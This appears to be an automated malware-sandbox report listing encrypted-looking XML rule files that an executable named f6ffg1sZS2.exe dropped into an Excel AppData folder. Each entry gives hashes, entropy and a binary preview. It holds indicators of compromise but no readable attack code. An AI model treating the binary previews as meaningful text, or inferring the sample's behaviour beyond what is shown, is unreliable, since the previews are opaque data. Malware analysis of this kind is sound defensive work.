Preview:	<?xmlMZ.".X.Zb..uNI...].8`...G.?whf{9p.K.%......!H.$i.....RJ.L.Ws......"1...['7.q...'{6.v..;#X.J.....=>.u\R....1N.P...%.H..nF..c..Y..........!.<........I..o...2.;C....W9.J.w.jR....kvw+....S...~Of@.".....1.f~j.t.w..]\.RE.j.w.....`.G`.&s.'-N..d.M4..u.xjL~I..._.+.....@.."...N.e..L.m..V.^.{.}0I_B.+M.....X.....G...0..J.A..\|..{..o..:.`.Y..c....5.#..K...:./M.......C.".`..lZ..P.2=z.;....Pf.x...(...~K8y..o3;$....Aq.p5O.l.B$E.z"8MUB.o..9yq..y/....F....pD.6R8......0....$T..D........H..Q6.#.4gq..d...).:=......N........KJ.<...3....<?..-.K..&...5p."k.`....j..._.S....b.....~.w....4.X..;..^..T........b.\..9..db.O..o..>...bL.....g.4.A.7..\..{y./..{..:.~-0{ ^..91^=g(5......$D...m..<....%.z.W....B.....m.3.5......_..j.......D..".a...6...k..$....tE.L.-..CusN...)........Q..dq.R.+F...l......q...y.O..Z...61x.(..z.......,.C...}@.t^.C..]Y..3ldZ...........N3k.q?."&.....z...Y.M..<.<..X.A^..R....y....l..Z...U.u......N..".]@.$%oo..s.o.CA`'k...iK. vq.g.. .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.726684922399069
Encrypted:	false
SSDEEP:	24:UayOuZWfjADpVZpkYHw2PyoynMZ8raoiGbD:U1RmADpVzkluyfnMWaoiUD
MD5:	082F2975B0A9A694C678EA416B829788
SHA1:	19FA0F02B8D95160D5307A85AD8DC36A39FE7F6E
SHA-256:	3DEDCE1C97DC33B7477F40C55278457763032EA24970202DFD66E82667D1CA77
SHA-512:	33112E2FA8E049D1241518D66ADBFF55C8B33A8BDA16510609809A908216069F8A7A6EF355A05A7010158AC1A8C6DF7E203931374D880867AA21DCC22CFFD878
Malicious:	false
Preview:	<?xmlOP..<\|....%.....{.3?K...........iyK..=.....5qE.O b&.....F.......9./..C..g.P.tH&.......N.V0.u;.....Zk.g......Y.S.~mA.Gc...h..z...QGrp.p0C...z...6......Y3.w(y....XgW..sc."nI..f@.}b..io.n..f.x...F..x.UW.+GQA.........t}.k...>j.......".n.S]..D.8......N.i.. z..=.5^...x.I.=.......yL...k`_...^.S...O...1\|..'K.]G.....r........a.1..~"..s.J..2x..sN.A......p_.....]...T.}.PZ.+.4....b.Su.p..<E..U...[.~\|B.....l.6.;..'<.0^F.6y.!d..7.17.\|...&^..}\|...!..lh\:.,...k....K...*pg....1V>k.. .;...X..P..F\|...0....).P..\}..;.x_...f..d..F.....C....=....#h_ .9..m.#.....=...E.j.'$_..cG....\|H..=...z.....s..2........&......@....sE...3B./.B...Q......P.Zi.......h..C....f...t.K..o...WSA.h.N.wF.i...j...%..t.0w+.':..:b$.]..O..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.943166649761898
Encrypted:	false
SSDEEP:	48:4cSG9iTbo6CYCpYHSvh/r/uECE2WkNfggLPGCL8I1l6GNbkie3UnRRdONokhqOD:4tBTk6CYCpjvx/lCEBG2CLpXld6ovdjm
MD5:	E68322FA9EC63D83D03F9E512320125A
SHA1:	EE532C5F408A998A0936AA3D7CE172DAA7D74782
SHA-256:	724D4B94982098C69A8B3B24A78A0748B3363AC9FA70C4E6A1CC48A66A4B4784
SHA-512:	F24B9CEA3D4CC1D1243DC3CCB04BB5A8C9357EC01CCD9DF61FBE7D132C0B5C594CF0E27332691D622ADD94BC6253131C7EB1208C5D4A56462A03F528E243F30A
Malicious:	false
Preview:	<?xmli1..z.5q.nh4c...V...0........2..=...+q...4......z....9.(.n..$..l..uU.=g....P...e.`o....F..0..g...C`.N.[U...:.Y.'...7&.b{..:.Gt..8.. ...{`...n.._.b.dS/........ /./..$..$....6vC..K..,.....U..oE...@...........c.....M.b.E)N..p..z>m...xn,.^..rB.0Kh.HP.n..\..aI..B......e.tLS#kC..{Z].(..mr.1!5<Zi.K...e..L.S....&.T.K.@.q...KQ7.<U....IT.2}...I.CY..6u....-..R.Q.pG.e...b.U.A.bO....o.1..=%...rT....M#Vu......D.t..+.....1.z.....mf.t..\..{i9.)..K.j8..o......!..e]..M.........Y....E...(.c6.@.:Eh..]....).0+=v.....N..v..B.)_..J....z.j....:.(%\.........W.......E........c..1....g".Srn...O.%.6....<.; ]...GuK.G....".G><.`..ek._o.7kv....8J..-<z.......^...k.....i..N$U?.~...S...X...D,'..U.7.......<n....eG.'Y..N.......\.6$...l..t.!ED...&..Z....\.#ty..0....GQ^.dY*.!&/..{6.a.3.T.}.....\|w`.Yp...z......!.../...I. ..1N'Eq._Yx...V.._..d.M.~.....h............1..}rk].2.....\..J...........p@}.....9..}.....6N..!.q+#.S6..BT......}....j..E..}.... >.}.....x.U...Y....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.782614943354723
Encrypted:	false
SSDEEP:	24:oJ1LsA28a3owCTft9GfzNPYnemanU0uH/SbD:ILsA2BYrLt9GfJYnem2hC/AD
MD5:	BD5CDBF5476A848863BA9ED44A5708A5
SHA1:	51C2F8E7171D509D8FCD42EE44FB40B5B325A026
SHA-256:	EC195E859CBEDFAE501C0F27D74CC6DF581BB0D9CC0620B34E616F43563C9963
SHA-512:	07F47AE408BF5DCCAE314831DEBDE537535B4DE3AE3AAAC6770D04AA7297628909D63B032EF60D28185800566D135B6FA8BF7808165EDF046901C7C06082833A
Malicious:	false
Preview:	<?xml.F./....1.M.C.+.3...`..E.......b2j.....cj.......5-0...\...2...e..]}.. ..$...4,@.`E...3h..H..L.IS..Ju...._h:I..\|.T..........-...y...q>.eY...}.M...X..9..Z5....8..Gg.w.&l........j...+>Z...sJ..m.Mn&....+....g..9/.v...@%OE...1....C/6....'.....H.p.w0...+......t.QJ.l...a"s.i.=)..e..[B.yW..i..\|.D=.1".g...!.}v...6....v..1.1u..Z.."S~.,.O."..En.....{...^Y/......Q.]Op.0 .C..<.....Mu0....3{..........a"..6aNn...(.(ZL..&U.2F.et....'.(k.o.....5s.W@..L.%........-...6...Ca.q.v..i.U.....I#....)... j..4...Q...[.2,..i......`....{...L.0..}.J.......-....S...n.n...F.Nz.S`..K.....&.e.S.?h..i.!..".]..........[Hn.ZP.w..\.ok/Sf:w....L.H..b.?..H/g..6.a.f....(2.1:....1...yZ"..n..su.1.h...FA.Y......0..y.k....7...w.B<fQ...$s&.t7..-......3.4..z_5....\-..._.....p.!\?...S...J...."S....z............=. V...i0.2.....Na..=&c...S.....I`\%....3Ui.U...1..._y.<.8... q..-.{.w.g...d......5.?_7.....Wr..0.._........d*TLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.855159583018122
Encrypted:	false
SSDEEP:	24:o3ZMVss+gPCrjZzYs7XTaCU5nqr9xbfmmTPgAXYbKmVRi3F5KDWEhbD:Iy+7rtzYs7XTWnqRxbfb4AXds0F5KtxD
MD5:	629DC71AE5CE41E213B802FD6EA5E82E
SHA1:	44D7C8CBF827154C5F6B9E0321A3B9CB663D5440
SHA-256:	35170F17311B8C36480746D66C5CE1AF81BE8B0DA2E9DA21190E5D2E3A859CDA
SHA-512:	48D057581A544C08613C01B4D551DA509032EE2A948C9F43C9EFCD8DA7D4A5D7BCF147C1E260E494EFACCFB432DC48C3A844D8612567206D3335E002B6A011EF
Malicious:	false
Preview:	<?xml.a.#.m...+.I>L..)....8........g"z...G...D.3{..d.w.7.?.r-.K...H..f....!<#..cF:-......A3>.nq.,..mg.lT....y^..~\|..T....?..{.R<~.WN.`] ....;...~8Ya..<R.sF..S...S,~.{.?n.xy....y....f..s...86KJ.D%...S...7.......>.l..R5..4...n'!.WO........8....T....0.!N.....U./...?....^.!.l...&w..I+"y.H..)0.:B...........E]%..R..\|U]......Q.f0TyZD. ..@(......']...V..1...7.N.z.i...,. .-..3.X.....fe^....T.s.\.+..[Ol.....A.....vV...Z..h[..Q.l.y..v...t...........>.f:.....\.M...?.#....m.....'.<....(........._[...._7+...9((Q...X..,....\|.00.[.&'...3..@.H....rK.?5.pu.B.T..i...n.KP.w...n...l.C..b..@...I..#J^..\L.@.KcN;.}.....8T....w.>V...f.U...H..j:..B..f.hy..)j..h..RWt.'.m....G..`..fxt..%8..%(.V.8g.... jb.%1..0.k?).......Vp.8ic.C..;.<..]..::.1.T...1OWKst.=..z.m...(.J4..f.0..O.vq......T*D.Y..a.......@q.=jbq.Y....!.&.(.W.J..S.......v&.u....x..2.......) .o}....S...w&..(.+..)..F..H.m.Ndj...S.....~D.G.i.%.n.S.........gyj............L..d...h.&...\|.3.....[~.4/...v...0......r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.7784481543104524
Encrypted:	false
SSDEEP:	12:qudTRFSVSXR/J7Lha5Kj6eBwGqnvj3CQfhWTgtuFdMHe99RqrxKTI4PS2cii9a:qAts0B/a5a3gjSqWQkrmgFbD
MD5:	9F9670803F1E84C064859BDC7E613DF1
SHA1:	5BF90D74B949377D35039672750DE502605EDBFE
SHA-256:	C166E1A9D3A1812A4CA5D856A1BBD236125A682277005C27A4793464E5F0F672
SHA-512:	EF45D2FFD29BE1AD80A579902C65092BD8077EAB4B3E71FD88CF8784E4D53A5BB5D6727D372C1BBB90AD5503F16A3517072A0C9095F853A7EE594AC286DB1146
Malicious:	false
Preview:	<?xml.T].Y..8{:>..Y[.eH...~......G.)[....S.M.0S{..R...G .KK.....v;.Qs...i=.mZ...4...-.~....@.[...S...N.8..H]{...m.K...O>.J!E..h.\|.z.;.....u.....#n...K. ..>.)......E..-?T..P..:.[.1<].(...H......l.G.<[.....+..2..x}.2...Lz.6^..+h.Z........".x.}........w@H.!.^..L...l2...uqy...r......C.Z..}\o.....oQ.4..UbF]....l..>W...6.R..........qw:.xBG..v......R."..&.......P... @/RX..p.....wp..cT..FFU.d.O.s.p..v......}..:.V...N.....eQ......I{.K.#>.?....Gf.......og.~....<o..6.A.K'..B%...N.L..6....C.P\|9;....lUN......\|G...c......sE.[.mI...wWt."..\|.?@..l.`s.Al..........S...*..0..J@T...3.@u.{.....z5..l_.L....!.../.....(..@U.qDN.........\9k.A:...Y>.O...T...k..b:z8..2.].%.......h[2.<M......._.6H..o..l..?.+k..B......z]..,A.=.-.7.YJv...=.tA.bFf...Cg.KX...g^....<P.&.fk.-.......n;..T6.G3i4{K../.;AC ....<l4..[^.&...Z-..9l...].T....F..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.78160074064366
Encrypted:	false
SSDEEP:	24:F7/W4DDERg73SeRKXVwrnP1f6UioH2F5SvMKuHGybD:R/W4sRgmeRKGr0hvHGgD
MD5:	CA0B22EDEDD25D268213EE22B87E90C8
SHA1:	65107FE5BD20447FB0CF1928926A4078CC2C4FC9
SHA-256:	DC1B1553634089938CA9419BE00120816BCA2A221164913EABD00A08B6330545
SHA-512:	E4F99531256F62FB0CB91E5981B183DABB82AB082E6D8867097CD33646F89803F0D6E3461A5E7FEB13A6ED5C69158C6E21A7B8A6713985B130A346C935A97EA1
Malicious:	false
Preview:	<?xml..x...d.O.u.....b}...O.?..A."..y.."..GI..Jo..$P;...~#..F..A.{.r.......9.,.l.../<... ;....G...~aInh.5fi...rkr.w.....:..C...-F.S[..=u..k`"\.i6!..<W...eb...Aa^C...~C...<............U.t....&....jA.V=.....c.A..I.#.>[Ac.........B.o.t.l..,M.P...Q............`Z...,C..uMYAe..../.7g{........$s....9...3aY......?.z..?'1M..PUl0bp.aw..]..xW.=0)..g2.J84..,y.;.\9.4I...R.(L......j......@..Zfe....h..u.n.t.p+..r.%....V....S...c.`$.u..y.b..=P.`.Z...x.oV.Zz9.7...Z...p\|-x.o.......X..JB=.......L...R......5...:?m...Ee.<....8.E...GGH/....k..XU.;.5....\|7ohn.....C+oJ..W...Vv.C.....Q...5."x.gJ.1..../...;.....0..%..E......O..j..93...l...N.q.......C..._.....X.........(..HSK.T.{.G..o...0..6"&E.....;V..al.@C.D.....y..}Lp.d.kV.iFl....}...].=.h..."..@...4X...3.... 8....*.k..g..w}.269.0..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.794765121102803
Encrypted:	false
SSDEEP:	24:5XRLxT2bjj/D9fOTwZzrmDOf/1S2PDor2ZlpFaFEbD:5XL6jj8T0zrpfU2PEElYOD
MD5:	7AA1463F529669D9098222BF7F895170
SHA1:	72D3620EC8786B1B28C1AFEF13A289A9950CEE33
SHA-256:	3050F3FFB75F8735C22B1182567075672E65168A441F282D5191BAD4CE698AB5
SHA-512:	62498235793079AB9D250F754DCEEED0A7C13252A481175813474D02B631529FF79EE4DBC561B25BD8D7F1468B0858E2CF920A9D3C8E9D5E9FF1D1FD46FA0D45
Malicious:	false
Preview:	<?xmlh...k...k.........qu.%r/.hx..a\|......A.G.8.!."..;..{psuJ7..-..f=..p."L.L.;t1.;.8.....5a2...9.&..(....\t...-..W...H..X.^...o.g.......;.I.\...B.]..Fm.,.....:.7....!..Sc...pk.kTV....... )..t..8..G.....gl...B.....P.V.#....i..c..I1........b6.q.=..M.QI.\.Xh......0.q6L.k......P....u.RX..;I...X..D&.EGLJ....X......u^.$sY3x....X.. )Y.1).w.<r"ak..:`..;...F..2.........E\|].......7.50Ju+....y../..2i.....Og_....M.....M.f.:HOA..8.k;..S.RR..H+.G......u...c(.L.\..`. ...nM....u4..pmv.f\|...n.k_..gg<....j..=D..2".4...w?....c/2W...,.]j.{..2)z.4.i3..l._V...n"....Ml....^5k......jI...'f.....[._...b...Tx.....;..$...(.J~i..C._..lA..w...'.T.Y...T..O..mH:......~.\|I.C.....9.uZ.._...Ne.T..h....\...u.!...9...1[....._g.]]......p.7....6(..-.].uz...I...8#......a..x..;&.y`.......e...[.L...;e..w[...\!...q9.........:...,m...O*-.. .....v...0.2...OW..V...\M..TL.....Gl.....T...n.jm....(.../.O..3N....5..y.#6........PlLQbDo3EfIVHxGuJOWRJdmxgY66rD6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.747234853765502
Encrypted:	false
SSDEEP:	24:E0ux60ZBc4cmGFOQ6d4Vdo+bjAKTKdzQseSbD:E0u13XjQ68i+bjAKTazsAD
MD5:	D86F79E7E21A76E4B630458F47B9E9A5
SHA1:	404AFCC46055F14F1A791A18DFBFD9CE9227B4F9
SHA-256:	E86ACC21AAF780AF87263DAFEECD5181FCC104F96C1595F1374969FA121F8F0B
SHA-512:	BCF8BD2CD374DEACADDCD506C161AF614DFF7B8A8332B7761B69F1B47D95CDC61F785FBE6590490A42C616B793042C56928E491F497BE200EDC39638529ABB13
Malicious:	false
Preview:	<?xml..k]m.?....m.@O.R.wH.~....M.J...;i.fPz..=.n..`.p.......$........);T0w.....vY.nO...Rp...b..N......da.p.v....J..C.....3....a.cM$6'o.7B..v..O..c......1t...V..M.Q3...o.......Z.aCN$.....sc....)lx=..W....8v..(.\|r...?_bQP.tm.>.F.3..) .....0...NC...l... Ho.....0...V....h..z.Js.8BQ.(...P...i.."..RZ.....[.fK...\qv.<h....j.....Y......[..Qh{gNY.P..".!C.T.8.`K....Y=.U,Q(N'.......{..@.f...h...L.1$...._.&ca8....>..x!}.o...ars.mk3.B#.O.UZ...o!...Y.......&..z.53..0.P.....Uy..b.@........i4..t.${N`..B....U,.zCQ..,.....3!.h#....:8.I.=S.>te..(....i... ..a.Q..w.........W.BM..Ye.....d.U..:.......c.~.~.k...B.L{.....tob...6..\|aH....~2...6....ymxN.]..V.z)...@.m.~...%/;{..2.uQi...^.....\...It.\..uG......!kd..t.x.....e...k.(..L..{.9...0v.3<.?.&Y.)....ED....b'd...]..%.DS..EG&....>LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.976693395803605
Encrypted:	false
SSDEEP:	192:PNqtMP66DnX4N9fqrY9/NR/pxWNDOantqet:PeMP66zWuY9/nOEanQo
MD5:	F362A425D31DB5427FE654FC38519ACF
SHA1:	292409CB18BBD44DAE99059DEB4B24020910AE6E
SHA-256:	1978B323A3F90CF431D2ADABFE36D2CA09ACFF2AA9720B1C7AA2CCA85CE2DFC8
SHA-512:	4140471D061063735B329097D8B4FE68EBF4ACB5E9073D3E315B0A06FB2F42BB84578D611F8016EADB4C5D442A844A12C91AEBF758209FB6E2AB725C3FA8A26E
Malicious:	false
Preview:	<?xml.c.(&e........%.f..Rr:.....&.2.{{zR...../.....iV.a..#..OX.O......._......zT*5.1`H..0.Mr.....c.....C!......JG....nT.i-.....u..T.No.......W...g.$`P...5p/.\.(g...G.kD.n...3.D..vi.W ~gjH...........:.(.Ao.ou[jU...hy...b...5..K....h^..J.)...t.$ 9z:.,.C@{.....7S..J3.P..K(..I........X.O.K.@......^`=..Z..S.9..M#0FVo~.].aq..gB..r......@.-i..$..Q#1;...'.y..wR......m>.............f....h.........x.....p.wi..)......0....O...D.w.....!RD......?:.45JI........"C.-/p....0.)........3....B$. \!<..x...=.KWb.\|Yg&A6.....O..\....J2sx^%..o.1\|.O.....yx@....T..._.....98.0.y=]d..\..3zst....sQ.u..:b.K.;...Xo.\|vc..c.L..Z.D...@t.y....q{md_.N.:c....M. .Y.f./@....p.u........._.....x.t.i..(.0..+...QC.....H.......@.}>.F..\D.-.....K_..Lh....D.....x.=D.s..{K.d-.`QK.....E...F.s...%.H.a..]JO>q......Q.q.8.......P.B.......T.L..)=U.i......6.u.h......V.....S._.....A],]m..?.!...["......f.R...;c...kOP...6..G.E....a=..H........1....;.s/......m.(.LVB........ ....[.f.l...@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.852709682099457
Encrypted:	false
SSDEEP:	24:uU929a7/+ezOzfnFA5LyVyCVrJ+IwLXOzDrC/mpIJ4CdcLMl9b5qMnaR/ZbbD:uJ9TlrnFuajj+9+zvZIJ3dGQF2VD
MD5:	90A092E6EE4557AB358D7A7A02CB33FD
SHA1:	AD360E51BCC4FD8B359C101A43E4A0F97F00F017
SHA-256:	7CA03CD2E0183AC7007822CCE636CBBA31F4CA4BE86A44ADF69DCA16803F2F8D
SHA-512:	F3D0D71A2229AE48840B709EDE4C7189B997304DEEB61980B5AB15562663CA1CC02052A728B71A1B3C08B4B711BBC0891A91514CD829CC42DFAED55FAC155915
Malicious:	false
Preview:	<?xml_.<.5.0.68....~....~z.<....K..\|..c.....XT..4.%$...0c.x-.....b..T..;...d.6. .Y#C5.0;.:,8$f..4.ne.(.A.a..0.....)>.xq.r.<t...V)[......F.....lp.e..T....x..c;(...e.Y)....Mu.....s.....AWs.\..0A..R....ww...M..:.....L.b..-.I..\$.....)b.....&....[.g...W.I.L..@....G........c.......Bo.6....9.c..D...Z..6......lsQ.....(.wf=U...i.....)`)UXV.f.y(``i.G..D..h1X:.].l...G.E{n`.{.7.xp...0r..?.>.%...-.uL.(}8.7...&.....RD.5...cG...y8..\...D..WE....+_.{..]P..$......$.%......h$..>..pw.lw..h..WOh.._3.Vu.nH..Q5.?T 1....b.......I.g6~a..<.f..G....R..#.........a..O4...Z.84.6@?4.p.S.b9._.&t.`..o....n.......Y.I..>..6..I..?.\....z...z./....y..Q..=...+ =..mn.;\....2q....e...Q.(.k....L.f.B....\|_....r.[...-....wM...)/q(..=F...........QR.!.{.....M.N..&(.. ..Tm..j.\ev.6IhV..{05S.....R..w..;..Tt....\........rN.....<..#.mp..(..!+....".....%'2..%..kH.N..c......_...M.....\...B..:l....8....i'../..2.!...3_...H.........$&.]y.XM3I.$Q................ M..S1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.789007031278988
Encrypted:	false
SSDEEP:	24:5q3Q5P3ieUH7c2ngaH3PWa9Bbg0lWcOewhfjn1+p1LAEBbD:M3Q5P38Hpngaft9BMQ6ew2p1D
MD5:	9CB799C99E83B9770FE87A6C18580C84
SHA1:	2722DACDB2AB740CD28884504E64006E508C43ED
SHA-256:	B7FF9628F8C3B010A860E577D03EB0D1CE47599637062884BF5E681D196CA5D1
SHA-512:	BC81BDCCC71DEC2DEBDF7F96FD9AAF7D03030AB73E2057587631479E148CF816E35019DFD08EECAD87BEA2A8B01DB03C8B77E2B05AD734F8409F1C1FD5C3CCB1
Malicious:	false
Preview:	<?xml&......M34.g&.}k.........../.. A.+6P\.k.O\8=+.....rr.--..W...7U..........U.H..G....y..i$P....M0....m.\fM::.Rf.......a..U\..F4..g.....l...{v...17.O...y.%8FJL)..&...m......0R)..._f...;.,. jys.\|..e.'1-...x......$N...G.....{w....f.k.A.k......[.$.. U'pc.B..[Qc.......{b.m..............I..t.\.....b.....}C....Wu....^N ..=s..+..#.Z..~.Y.....>..2.].Q..Vl..!<.8.2.t9...N..k._>.]~<....M.BH02D]... r`u.~.\b.....)l..b..i.....Nj.....]..W..J+".9dh..p..<..!E......=+G...m2w....P.=..?..W<.~O.....H..>aM.%...V.......$..d.7...qp.G.riI..;.b.......=\|..~....;Z'...H....f.my....x1O..l:....c..D....v.......^..8..{8.f....0$.;.P.........]Ax`..C`...r..T..=L.....PA....l..L....d..pQ.o.."..^...8.'..I.k...S\k.#p._..U......J.[..^.Zf+.u..........7...."..^.........A....m .t..L..,4.....i.Mb..Y....8.G.w........f.D....i0..k...._~.&A.^..1.S.....dLoW...Q...s...._..l_.]}..u.....#.J...u....H9..m.;\W...o.]...'..5.H.....L..p.f.ify. .TX.....P..R...srh._...?..u.vP..`.....Q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.803800633237265
Encrypted:	false
SSDEEP:	24:S4LcjGg1jR/6aW1ORzMUjo57OVfYQb9+AsXQkFlaGKbbD:ZgjyaW1OzMUjo57OdYAtsJ+fD
MD5:	21E657A3367779B457CDD3A0B44C0826
SHA1:	3555044FE94DC07AA1B4BE136ECEB1B2600A9FE1
SHA-256:	6387BCBE0B98B2886070909E8310BD33FF502CE6908CF595002EFA178389A0DE
SHA-512:	0F3FD538180EC34447146786919C0857ED039CFA33DDF1541963B348DE5FDB1D6DEC9107C93351FA395BF74D64465079F2EFDF06E86401DA93FC1A669160E50A
Malicious:	false
Preview:	<?xmlS3...Z?5.w..{..03.p.....0t..i.5..t....W.....c..l\|Vl:$.......ov./\.>.. .`.U.<o,.s....&F..).Zj.jm...b/p.}.......\|fC....J.....).........^...=>I..O.....x.}4..?..o....Hn.=`-]........ ...f....Iv\]#..$.~w#.$y-.G..H..e..(.H....9.2....`9...'..x{3..E..;.72.^t.......q,R...5p\|\......I=..9...=.p`.....}.s. 5.......R......i.u..2.O....O&;.2..I....4}6......&.F......X..S.k...r.{w..JB4..S.......{2../g..........\..........]%V.&9.{O..~M.Y...9.Y.%E.5(c..Dd.....n.._.h.9N...-.o.0.s...y..MPA;W4K.._dn..]..-...~-.U@:...>$.........p....rf....R..Z...Tl0\|..v..<....@.m..+>.\|..sD.~.^.....".4...,c.HI...H./.o..d...j.;r..\|D... ..cY...]...:..-.^Z..E.....R......T....[C.7.~.0....,.fQ...Yb....P...?Iq.#....D...1y3xX0.L..4I.+..8.{.by.i%...".^..k.cL3D..x.....R....ZC.7z..Xc^....(.=..Si...5d..;8......[.>:..=_Xc.....J>%.zE..'..]P.....{..7 .,_..I....7....G....4.c@.E...$....V.G...Z...E..........,!.S..I...S.=..w...._l....<......c.K..Q.\z...'GM.?.../.....#.........bPMLQbDo

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.9474202553827515
Encrypted:	false
SSDEEP:	96:ejZGAH4cveWM/8rYY/9IzbqBYwjkUMl7O:UZOo2Urf/9Aw4a
MD5:	9E9F73473186A10FAE3D83D43E925B7E
SHA1:	5980ECCE36E15DA56538DA1D9887134E88222BB9
SHA-256:	5FC394BFB5D13C3367BDE5CDE155AEF0C0B6268D07D67149F944B8DCA00ED1C5
SHA-512:	F9D8DA06E5FE12EC7D93A883451416BB9C23F402F322E2D06F7399E23A0B392C55A40EE981DBC3BFB88BE695B4C31D7C8139B2738BF0691DBBA2EFE90D781F41
Malicious:	false
Preview:	<?xml.....NW...B?......F... .c.h.bG...$V.....E...VW.bl.}.>...t...E}........-.....S.G.~....C.Y....r.,..-}K.r.,....e$...nO.`H...\.^.....T-..-.a......a.ALy'[ O.uH........~..I<..f.e...["`6....G.cb....<..M.Z.I...8.6......y8..$..V.=.....x...@...............?....0x8.m...ku, ..sE..3..C^.o7../E....{i...`.ptt..G.{..@.r.......K.~.. Q.hr,...1..E..O?5\|W.Y.a.o....}...`..b.5.....p....,.....e..!<.Y.k.........`. ....V...B...i..6...FW.p2..7....L.....@...id...D_.2.....J&(.....3..'!7..Y...6...E.7..-D..s\..5...C...Fc.w.5..G.z..q.....1C.....;H..<0,...B..,..jm..QzA.3`..\.....H-#.J#.........2Ew...q..Fvxr.1K$=,R.5.-..R5c...X.".v.Ze....h...m...Bd..e.6>!lk..K.1O.rVqA....b...K=.A.j>...p.f@.O<...D...\|..`..N.@ND.:..i..<.w.H.$...9X....7."`..<..w.....FuJ4..p.........>JH..o^B.gLr.d_S...p...w..1,......}/.c4.t..a..0..^4....B...L...d..wHr..\|.]^8$j+?d.R..nHdsD.C..p..5......`.....-o..<(...GMu.......2...`..v......P..L..g.b.vx.(...>..t.r....B.i.}s..~.....p..s.......H.'!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.833387061774254
Encrypted:	false
SSDEEP:	24:dZyOdvy24knnv4ZkMqKodLA9QDEhN0jO4e7RSa469skhBy71xTZobD:mOtkanQZkBa9d2jO4e7RrhM3yD
MD5:	98C20515192876EC373E959B881626B3
SHA1:	0F31551555DC40B02854FE36E4267071B047F526
SHA-256:	919E087EE134F2C7339776FB9B8A81BC48689233F463D870110AB8CFAD076ACC
SHA-512:	11FC26C476D6CC4B0F0F3EB2F4598011F469AE386E84A455162ECF1C0266CE95DC715668A513E86670D84793590D992A4B5A5CC98A44582F121C606D1487341A
Malicious:	false
Preview:	<?xml.........mD...^...a...3..2j.S\..}........yv.....\p.S....w..A...p...GJ.e$q.V.An=.....]N....h.P1..f...O;.O]. ..E8A..3..w8u\...5......;.h.u.2..%..j.[...F6.....=..5..#..p.r.....Z.......T.....)'.....h.aqr.............xCv.,~.....e.....1..0.l......9.F....)..7{Y..u..c..N..B.......z6cU}q......x....C.......$.N.........p.qcs...F+v...%#..f....?K.7=....@^cR..{,..u..O.....h.o.]-.+.M.,. &......5:...36......dJ...G&.....&o.{.....q.....X<.\|.!..S@.......Y...GAY....,.`T~...M.X..4..9.<K..J.8..o..zM...NQ....:=.Tq.......LG_...W.a.%...1...q0.r..\|.f......{/.l....f."?.....F$.4..\&Lg>..O.....^...c..Gs....a.......F36g[Ob%..X].K=l.........aB.....].#...<....w.a...3I....?..+.f.r.#@.D..a..)...O.4.,..}...j.!{.......A.~...K5z...a 